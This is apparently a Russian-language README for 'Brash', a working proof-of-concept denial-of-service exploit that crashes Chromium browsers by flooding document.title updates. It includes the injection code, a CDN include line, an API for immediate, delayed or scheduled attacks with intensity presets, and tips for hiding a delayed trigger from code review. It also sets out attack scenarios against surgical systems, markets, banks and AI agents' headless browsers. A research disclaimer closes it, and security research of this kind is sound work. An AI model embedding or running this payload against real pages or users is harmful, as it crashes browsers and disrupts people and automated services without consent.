
DoS-атака на браузер Chromium через эксплуатацию document.title

Brash — это критическая уязвимость в Blink, рендеринговом движке, лежащем в основе браузеров на Chromium. Она позволяет обрушить любой браузер на Chromium за 15–60 секунд, эксплуатируя архитектурный недостаток в том, как обрабатываются некоторые DOM-операции.
Вектор атаки возникает из-за полного отсутствия ограничения частоты обновлений API document.title. Это позволяет внедрять миллионы мутаций DOM в секунду, и в процессе этой попытки инъекции насыщается главный поток, нарушая цикл событий и вызывая коллапс интерфейса. Последствия значительны: высокое потребление CPU, деградация общей производительности системы, возможность остановки или замедления других параллельных процессов. Затрагивая браузеры на Chromium на настольных ПК, Android и встраиваемых средах, эта уязвимость подвергает риску более 3 миллиардов человек в интернете, создавая отказ в обслуживании на уровне системы.
СТАТУС: Работает
ЗАТРОНУТЫЕ ВЕРСИИ: Chromium ≤ 143.0.7483.0 (протестировано: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] Эксплойт в настоящее время работает. После исправления уязвимости этот код перестанет действовать. Тем не менее, обнаружение этого архитектурного пробела и выполнение всего процесса исследования, документирования и разработки, чтобы поделиться чем-то впечатляющим с миром, было невероятно полезным путешествием.
Было протестировано 11 основных браузеров на macOS, Windows и Linux для проверки влияния уязвимости.
Все браузеры на основе Chromium уязвимы, поскольку недостаток находится в ядре движка Blink:
Brash эксплуатирует фундаментальный архитектурный недостаток в движке Blink: отсутствие троттлинга при обновлениях document.title. Атака проходит в три критических фазы:
Генерирует 100 уникальных шестнадцатеричных строк длиной 512 символов и сохраняет их в памяти перед началом атаки.
Зачем предзагружать их, а не генерировать в реальном времени?
Потому что постоянная генерация новых строк потребляет процессорное время на математические операции. Это время критично — каждая миллисекунда, потраченная на генерацию строк, НЕ используется для бомбардировки браузера обновлениями document.title.
Имея 100 строк, уже загруженных в память:
В результате мы достигаем максимальной скорости инъекции с максимальным потреблением памяти на каждое обновление.
// Генерирует уникальные ID с высокой энтропией
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Выполняет настраиваемые пакеты обновлений заголовка. При конфигурации по умолчанию (burst: 8000, interval: 1ms) атака пытается внедрить примерно 24 миллиона обновлений в секунду, и именно во время этой попытки начинается коллапс браузера.
// Паттерн тройного обновления: максимальное разрушение конвейера рендеринга
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Каждый пакет выполняет 3 последовательных обновления
}
this.counter += 0x3;
}
Непрерывные обновления насыщают главный поток браузера, предотвращая обработку других событий:
Временная шкала коллапса:
Почему это работает?
Blink обрабатывает каждое изменение document.title синхронно в главном потоке без ограничения частоты. Это создаёт узкое место, которое:
Чтобы полностью понять влияние Brash, вы можете испытать эксплойт в различных контекстах — от контролируемой живой демонстрации до собственной реализации. Каждый вариант предназначен для разного уровня взаимодействия и технического понимания.
Самый быстрый способ увидеть Brash в действии. Перейдите на https://brash.run
Чтобы увидеть эксплойт без графического интерфейса, перейдите на https://brash.run/hidden-live-demo.html. Эта версия выполняет инъекцию невидимо, имитируя реальную атаку.
Если вы предпочитаете запустить демонстрацию в своей среде, каталог exploit-demo/, включённый в репозиторий, позволяет:
Просто откройте exploit-demo/index.html в любом браузере на Chromium и настройте значения burst и interval перед запуском.
Чтобы интегрировать Brash в ваше собственное тестирование безопасности или исследование, подключите скрипт и настройте атаку:
Подключение скрипта:
<!-- Локально -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Использование API:
// 1. Немедленная атака
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Задержка в секундах (по умолчанию)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 секунд
});
// 3. Задержка со строками
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // или "5000ms" или "3m"
});
// 4. Запланированная атака
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Конфигурации интенсивности:
// Умеренный: контролируемое наблюдение
// Эффект: браузер отвечает медленно, позволяет наблюдать постепенную деградацию
Brash.run({
burstSize: 200,
interval: 1000 // ~600 обновлений/сек
});
// Агрессивный: быстрое насыщение
// Эффект: вкладки замерзают за 10–20 секунд
Brash.run({
burstSize: 2000,
interval: 100 // ~60 000 обновлений/сек
});
// Экстремальный: мгновенный коллапс
// Эффект: мгновенное замирание, полный крах за 15–30 секунд
Brash.run({
burstSize: 8000,
interval: 1 // Пытается ~24 млн обновлений/сек (браузер падает во время попытки)
});
Примечание: Каждый пакет выполняет 3 последовательных обновления
document.title. Например, burstSize: 400 = 1 200 фактических обновлений за интервал.
Brash может быть использован в виде оружия во множестве критических контекстов с последствиями от экономических потерь до риска для жизни человека.
Критическая особенность, усиливающая опасность Brash, — это возможность запрограммировать выполнение в определённые моменты. Злоумышленник может внедрить код с временным триггером, оставаясь в спящем режиме до заранее заданного точного времени.
Техническая реализация:
// Задержка в секундах (по умолчанию)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Задержка со строками (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Запланировано: выполняется в точный момент
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Параметры:
burstSize: Обновлений за циклinterval: Миллисекунды между цикламиdelay: Число (секунды) или строка ("30s", "5000ms", "3m")scheduled: ISO-строка или объект DateПочему параметр delay особенно летален:
Не требует знания, когда они откроют ссылку: Просто ждёт X секунд с момента открытия страницы жертвой.
Время для установления доверия: В течение минут ожидания жертва взаимодействует с кажущимся легитимным контентом (формы, документы, видео).
Уклонение от первоначальной проверки: Если кто-то быстро просмотрит код, он покажется неактивным. Атака не выполняется до более позднего момента.
Идеальное психологическое время: Ждёт, пока жертва глубоко погрузится в задачу (середина экзамена, середина встречи, во время критической процедуры).
Типичный сценарий с delay:
00:00 - Жертва открывает ссылку "Q4 Documents.pdf"
00:30 - Жертва просматривает документы, выглядят легитимно
02:00 - Жертва делится экраном на встрече с 50 людьми
03:00 - АТАКА ВЫПОЛНЯЕТСЯ - все браузеры падают
Почему параметр scheduled также разрушителен:
Хирургическая синхронизация: Злоумышленник выбирает точный момент максимального воздействия (открытие рынка, время пиковых операций).
Глобальные скоординированные атаки: Несколько целей могут быть поражены одновременно в одну секунду.
Уклонение от предварительного обнаружения: Вредоносный код может присутствовать за дни или недели до выполнения, проходя проверки безопасности.
Невозможность остановить: К моменту выполнения атаки уже слишком поздно её предотвращать.
Примеры стратегического времени:
Эта кинетическая временная способность превращает Brash из инструмента для нарушения работы в оружие временной точности, где злоумышленник контролирует не только "что" и "где", но и "когда" с миллисекундной точностью.
Сценарий: Предприятия, чьи системы зависят от AI-агентов для веб-скрапинга, анализа рынка, мониторинга конкурентов или автоматизации поддержки клиентов, используют headless-браузеры (Chromium/Puppeteer) для ежедневного запроса тысяч веб-сайтов. Злоумышленник внедряет Brash в популярные сайты, к которым обращаются эти агенты.
Во время критических автоматических операций:
Усиленные векторы атаки:
Реальное воздействие: Паралич критических автоматических операций, экономические потери от невыполненных решений, массовая деградация AI-зависимых сервисов, затраты на восстановление инфраструктуры, раскрытие критической зависимости от автоматических агентов.
Сценарий: Сердечно-сосудистый хирург выполняет коронарное шунтирование с помощью веб-системы навигации (всё чаще используемой в малоинвазивных операциях). Система предоставляет изображения в реальном времени, показатели жизнедеятельности пациента и наведение для роботизированных инструментов.
В наиболее критической фазе операции появляется уведомление браузера: "ВНИМАНИЕ: Критическое обновление хирургической системы — примените сейчас, иначе операция может провалиться."
При паническом нажатии:
Реальное воздействие: Прямой риск смерти пациента, возможность необратимых повреждений, психологическая травма для медицинской команды, многомиллионные судебные иски за технологическую халатность.
Сценарий: Во время открытия рынка на Уолл-стрит злоумышленник одновременно внедряет Brash в несколько каналов: веб-интерфейс Bloomberg Terminal, чаты институциональных трейдеров и специализированные форумы. Ссылка обещает "Утечка: расшифровка экстренного заседания ФРС — снижение ставки подтверждено."
В первые 30 секунд торгов (максимальная ликвидность):
Реальное воздействие: Триллионы долларов потерь рыночной капитализации, глобальная финансовая паника, расследования SEC, потенциальный кризис доверия к рынкам.
Сценарий: Аналитики по мошенничеству в банке обрабатывают оповещения о подозрительных транзакциях в реальном времени через веб-панель. В Чёрную пятницу (пик транзакций) они получают Brash по корпоративной почте: "Обнаружен новый паттерн мошенничества — требуется срочный анализ."
В момент максимального объёма транзакций:
Реальное воздействие: Миллионы долларов прямых потерь, тысячи клиентов с мошенническими списаниями, огромный репутационный ущерб, регуляторные штрафы за сбои в системах предотвращения.
Эти сценарии не теоретические. Простота Brash делает его реальной угрозой для любой операции, зависящей от веб-браузеров, а в 2025 году это практически всё.
Создание Brash — это попытка продемонстрировать, что происходит, когда базовые меры защиты отсутствуют в веб-технологиях, которые мы используем ежедневно. Уязвимость заключается не в сложном коде или продвинутых техниках, а в фундаментальном отсутствии ограничения частоты на API, который по своей сути должен быть троттлирован.
Воздействие Brash на более чем 3 миллиарда пользователей браузеров на Chromium показывает, что архитектурные недостатки в ключевых компонентах, таких как Blink, имеют массовые и глобальные последствия. Это не изолированный баг — это проектный дефект, затрагивающий всю экосистему Chromium.
Зачастую самые опасные вещи прячутся в самом неожиданном месте, самом игнорируемом. — Jose Pino
Данный PoC предназначен исключительно для образовательных целей и исследований в области безопасности, чтобы помочь сделать интернет более безопасным местом. Его выполнение должно осуществляться исключительно в контролируемых средах и не должно использоваться на производственных системах, публичных сайтах или устройствах, содержащих важные данные.
Неправильное использование этого эксплойта может привести к сбоям браузера, потере данных и нестабильности системы. Автор не несёт ответственности за любой ущерб, потерю данных или юридические последствия, возникшие в результате использования или неправильного использования этого PoC. Используя Brash, вы подтверждаете, что понимаете эти риски и соглашаетесь использовать его только для законных исследований безопасности в изолированных средах.
Ожидается, что пользователи будут соблюдать все применимые законы и нормативные акты. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, является незаконным и неэтичным.
Содержимое этого проекта лицензировано по лицензии Creative Commons Attribution 3.0, а исходный код, используемый для форматирования и отображения этого содержимого, лицензирован по лицензии MIT.
Copyright (c) 2025 Jose Pino